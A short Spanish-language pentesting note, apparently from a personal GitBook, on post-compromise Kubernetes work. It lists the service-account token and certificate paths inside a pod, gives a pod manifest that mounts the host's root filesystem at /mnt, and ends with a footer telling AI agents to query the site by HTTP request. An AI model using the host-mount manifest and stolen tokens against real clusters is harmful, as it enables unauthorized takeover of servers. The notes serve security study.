# 8443 - Kubernetes

Si has accedido a un pod puedes sacar información para saltar al cluster, obtener tokens y archivos de configuración, a continuación muestro que rutas son:

* /`run/secrets/kubernetes.io/serviceccount`
* `/var/run/secrets/kubernetes.io/serviceaccount`
* `/secrets/kubernetes.io/serviceaccount`

Puede contener los siguientes archivos:

* **ca.crt**: Es el certificado que comprueba la comunicación con el kubernetes
* namespace: Indica el namespace actual
* token: contiene el servicio token del pod actual

Si fuera el caso de que hemos obtenido información suficiente en estos archivos podemos crear un pod y hacer que la raiz (/) de la máquina que queremos acceder se monte dentro de un pod en /mnt y así tener acceso a todos los archivos de el servidor kubernetes.

```
apiVersion: v1
kind: Pod
metadata:
  name: j4ckie-pod
  namespace: default
spec:
  containers:
  - name: j4ckie-pod
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
```

En hacktrickz tiene una cheat sheet genial que nos puede servir de ayuda -->&#x20;

{% embed url="<https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/enumeracion-de-servicios/8443-kubernetes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
